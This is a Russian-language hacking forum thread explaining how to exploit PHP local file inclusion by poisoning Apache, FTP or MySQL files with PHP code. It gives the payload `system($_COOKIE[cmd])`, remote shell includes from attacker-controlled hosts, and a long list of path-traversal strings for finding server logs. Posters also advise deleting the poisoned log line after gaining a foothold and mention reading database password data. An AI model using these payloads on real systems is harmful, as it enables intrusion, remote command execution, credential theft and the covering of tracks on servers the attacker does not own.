Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код. Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.
лучше уж сразу записать что-то типа <? @include("http://omg.com/youshell.php"); ?>. если инклуд удал файлов запрещен, то придется ипацо так как сказал грейтег =\ зы. и кстати лучше баловаться с error_log, ибо как правило он всегда меньше.
У меня в error_log пишется только название файла (some_file.php), а запрос к нему, в котором как раз и лежит код пхпшный, не пишется.. так что это не вариант. Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали. Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога. Само собой, после укрепления в системе эту строчку из access.log стоит удалить
2 _Great_ Целый день бьюсь над тем чтобы под инклудить лог. Дык у себя на компе могу это сделать, а вот на удаленном - хоть убей не могу найти этот лог. А файл конфига - вообще не отдается. Перебрал уже кучу серваков. нигде нет лога. P.S. серваки под пингвинами. Пробывал: ../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../var/log/httpd/access-log ../../../../../../../../../var/log/httpd/access.log ../../../../../../../../../var/log/httpd/access Нету файлов. также вместо httpd прописывал - apache. т.к. на некоторых серваках он завется apache, а не httpd МОжет подскажишь как его нащупать? Вот файл с конфигом вроде нашел. Но подинклудить не удается. на запрос типа: ../../../../../../../../../etc/httpd/conf/httpd.conf отвечает: Code: Warning: main(/home/****/public_html/mydir/) [function.main]: failed to open stream: Success in /home/****/public_html/mydir/index.php on line 83 Fatal error: main() [function.require]: Failed opening required '/home/****/public_html/mydir/' (include_path='.:/usr/lib/php') in /home/****/public_html/mydir/index.php on line 83
PHP: ../../../../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../../../../var/log/httpd/error_log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../apache/logs/error.log ../../../../apache/logs/access.log ../../../../../apache/logs/error.log ../../../../../apache/logs/access.log ../../../../../../apache/logs/error.log ../../../../../../apache/logs/access.log ../../../../../../../apache/logs/error.log ../../../../../../../apache/logs/access.log ../../../../../../../../apache/logs/error.log ../../../../../../../../apache/logs/access.log ../../../logs/error.log ../../../logs/access.log ../../../../logs/error.log ../../../../logs/access.log ../../../../../logs/error.log ../../../../../logs/access.log ../../../../../../logs/error.log ../../../../../../logs/access.log ../../../../../../../logs/error.log ../../../../../../../logs/access.log ../../../../../../../../logs/error.log ../../../../../../../../logs/access.log ../../../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/log/error_log
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов. Можно тут по подробней для такого инклуда нужно найти бажный скрипт? и как это выполнять команды и куков?
забей на куки вместо <? system($_COOKIE[cmd]);?> посылай <? include('http://твой_сайт.ru/shell.php'); ?>
Не обязательно лог апача =))) разве в системе есть только они? ) А какже логи фтп сервера ? ) пути к которым можно узнать из их кфг файла. Тоесть опять же. мы логинимся с логином а затем инклудим еррор лог от стоящего фтпшника.. (ну или акцеслог).. вообще бываает что запись идет в оба. (Именно логин а непасс, т.к. Пасс даже не коректный НЕ показывается в логах)
2 Dread А ты лучше ну думай, а посмотри в phpinfo() директиву allow_url_fopen, и будешь знать навернека.
Пардон за некрофилию, но вопрос встал ребром: что делать, если и access.log и error.log такого большого размера, что в память php не влазят (> 8 Мб)? и система win, так что /proc/self/environ не поюзать
Можешь попробывать подинклудить файл базы данных. C:/program files/mysql5.0.45/data/mysql К примеру на сайте зарегистрировать пользователя и в регистрационных данных указать которые в последствии запишутся в бд. Допустим shema_name(site) и table_name(users). Тогда данный php код будет находится Естественно версия мускула в пути будет твоя. После этого можешь попытаться подинклудить php код. PS. Таким же образом можно прочитать мускульные пароли пользователей.